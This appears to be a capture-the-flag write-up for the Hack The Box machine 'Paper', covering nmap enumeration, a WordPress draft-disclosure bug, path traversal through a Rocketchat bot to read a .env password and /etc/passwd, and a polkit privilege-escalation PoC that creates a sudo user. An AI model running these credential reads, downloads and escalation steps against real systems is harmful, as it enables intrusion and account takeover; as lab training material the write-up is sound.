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Synopsis  
Paper is an easy Linux machine that features an Apache server on ports 80 and 443, which are serving the 
HTTP and HTTPS versions of a website respectively. The website on port 80 returns a default server 
webpage but the HTTP response header reveals a hidden domain. This hidden domain is running a 
WordPress blog, whose version is vulnerable to CVE-2019-17671. This vulnerability allows us to view the 
confidential information stored in the draft posts of the blog, which reveal another URL leading to an 
employee chat system. This chat system is based on Rocketchat. Reading through the chats we find that 
there is a bot running which can be queried for specific information. We can exploit the bot functionality to 
obtain the password of a user on the system. Further host enumeration reveals that the sudo version is 
vulnerable to CVE-2021-3560 and can be exploited to elevate to root privileges.

 

Skills required  
Linux Fundamentals

 

Skills learned

https://wpscan.com/vulnerability/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2
https://www.exploit-db.com/exploits/50011


Skills learned  
CVE exploitation

Web Enumeration

 

Enumeration  
Nmap  
Let's run a Nmap scan to discover the open ports of the remote host.

The Nmap scan shows that OpenSSH is running on it's default port, i.e. port 22 . Furthermore, the Apache 
HTTP web server is serving an HTTP  webpage on port 80  along with its HTTPS  version on port 443 . 

HTTP  
Browsing to port 80 , we see a default server web page that contains no interesting information.

ports=$(nmap -p- --min-rate=1000 -T4 10.129.1.11 | grep '^[0-9]' | cut -d '/' -f 1 | tr 

'\n' ',' | sed s/,$//)

nmap -p$ports -sV 10.10.11.143



Let's intercept the web request to this webpage in BurpSuite to check for any useful information in the HTTP 
response.

We can see that the X-Backend-Server  HTTP header in the HTTP response has a value that seems to be a 
VHost domain. This means that the webserver is most likely using Virtual Host routing.

Let's add an entry for office.paper  in the /etc/hosts  file with the corresponding IP address to be able 
to access this domain in our browser.

Upon visiting office.paper  in the browser, we see a WordPress blog.

echo "10.10.11.143  office.paper" | sudo tee -a /etc/hosts



On further enumeration we find a suspicious comment on one of the posts that hints toward the presence 
of some confidential information in the WordPress drafts.



We can use the Wappalyzer  browser extension to check the Wordpress version. Wappalyzer is a 
technology profiler that shows the technologies a website is using along with their version. We can install 
this extension on a supported browser from here.

After the extension has been installed, click on the Wappalyzer browser extension icon from the WordPress 
website. The Wappalyzer browser extension detects the Wordpress version as 5.2.3  on office.paper . 

https://www.wappalyzer.com/apps


Upon running a quick Google search along with the keywords "wordpress 5.2.3 exploits", we can identify 
CVE-2019-17671 which allows a user to view private/draft posts without authentication. This vulnerability 
aligns perfectly with the suspicious comment that we found earlier. Let us exploit this vulnerability to view 
the secret content present in the draft posts.

To do so, we can add ?static=1  to the WordPress URL as mentioned in the PoC.

http://office.paper/?static=1

https://wpscan.com/vulnerability/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2
https://www.exploit-db.com/exploits/47690


We are successfully able to see the drafts. In the drafts, there exists a secret registration URL of an 
employee chat system.

Let us also add an entry for this sub-domain chat.office.paper  to the /etc/hosts  file, so that we can 
access it in the browser.

Upon visiting this link in the browser, we see a registration page for the Rocketchat service.

http://chat.office.paper/register/8qozr226AhkCHZdyY

echo "10.10.11.143  chat.office.paper" | sudo tee -a /etc/hosts



Let's attempt to create an account using the credentials of our choice.

Once we've logged in, we can see the #general  channel in the top left corner where the employees chat, 
however, the channel is now set to read-only so no messages can be sent.



From reading the small chat history in the #general  channel, we can see that the user dwight  has added a 
bot called recyclops  to the channel and we are able to send direct messages to it.

The chat above also mentions that we can send the message recyclops help , which will cause the bot to 
reply with its usage page. We can search recyclops  in the top left menu bar and click the bot's profile 
name to start a Direct Message with it. Let's now send the recyclops help  message.

recyclops help



Among all the tasks, task numbers 3 & 4 seem to be the most interesting ones. Option 3 says that by using 
the file  command we can make the bot read a specified file. Option 4 mentions that by using the list  
command we can make the bot list the files present in a directory, although, as mentioned in the message, 
the functionality of options 3 & 4 is limited to the Sales  folder. Let's try enumerating the file system using 
these commands.

list

list sale

list sale_2



The sales  directory contains nothing useful (for all The Office fans out there, we would suggest that you 
read the files present here, as they serve as fun easter eggs).

Foothold  
As seen in the help page, the bot is only limited to the Sales  directory and there is no way for us to change 
the current working directory, however, we might be able to use ..  in order to list and read files from other 
directories.

list ..



This was successful and the output shows what appears to be the home directory of a user called dwight . 
Looking around, we can see the directory of the bot called hubot  . A quick Google search using the 
keywords rocketchat hubot password file  shows a github page where we can see that the hubot  
configuration is stored in a file called .env .

https://github.com/RocketChat/hubot-rocketchat


Listing the files in the hubot directory, we see the .env  file.

list ../hubot



Let us view the contents of the /hubot/.env  file using the file  command.

We have obtained a password. Let us fetch the /etc/passwd  file to check the users on the system.

file ../hubot/.env

PASSWORD = Queenofblad3s!23

file ../../../etc/passwd



We can see two regular users, namely rocketchat  & dwight . Upon trying to login over SSH using the 
obtained password for both the users, we were able to log in as user dwight .

This is successful and the user flag can be found at /home/dwight/user.txt .

 

Privilege Escalation  
Let us use linpeas  for system enumeration. LinPEAS is a script that searches for possible paths to escalate 
privileges on Linux. We can download the latest LinPEAS bash file from here and after downloading it, we 
can transfer it from our local machine to the remote machine.

ssh dwight@10.10.11.143

https://github.com/carlospolop/PEASS-ng/releases/tag/20220612


Start a Python HTTP web server from the directory containing the linpeas  file.

Fetch the file on the remote host using the wget  command, in a directory where user dwight  has write 
permissions.

After the file has been uploaded, make it executable.

Now, run linpeas  using the following command.

The linpeas  output shows that the host's Sudo version is 1.8.29  and is vulnerable to CVE-2021-3560.

sudo python3 -m http.server 80

wget YOUR_IP_ADDRESS/linpeas.sh

chmod +x linpeas.sh

./linpeas.sh

https://www.exploit-db.com/exploits/50011


In Linux, polkit is an authorization service used for allowing unprivileged processes to communicate with 
privileged processes. When a low privileged user or process wants to access resources that require higher 
privileges, the polkit authorization service either makes an allow or deny decision behind the scenes, or 
prompts a dialogue box to receive further authorization before granting the needed privileges. 

CVE-2021-3560 is an authentication bypass vulnerability that allows a regular user to elevate its privileges to 
that of a root user. This flaw could be used by an unprivileged local user to create a new local administrator, 
which results in the complete compromise of the system. Detailed information on the working of CVE-2021-
3560 can be found here.

Upon searching, we find this PoC on Github. Let's download this exploit and transfer it to the remote host. 
We can either use the flag options available in the proof of concept script to set the desired username and 
password for the new user, or directly change the hardcoded username and password in the PoC code 
itself. For this writeup, we changed the credentials in the PoC code.

Let us now run the exploit after making it executable.

# [** SNIP **]

if  [[ $USR ]];then

        username=$(echo $USR)

else

        username="dotguy"

fi

printf "\n"

printf "${BLUE}[!]${NC} Username set as : "$username"\n"

if  [[ $PASS ]];then

        password=$(echo $PASS)

else

        password="pass123"

fi

# [** SNIP **]

chmod +x poc.sh

./poc.sh

https://gitlab.freedesktop.org/polkit/polkit/
https://www.hackingarticles.in/linux-privilege-escalation-polkit-cve-2021-3560/
https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation


The output messages assert that a new user has been created with the specified credentials. Let's confirm 
this by switching to the new user.



The exploit was successfully able to create a new user with sudo privileges. The root flag can be found at 
/root/root.txt .
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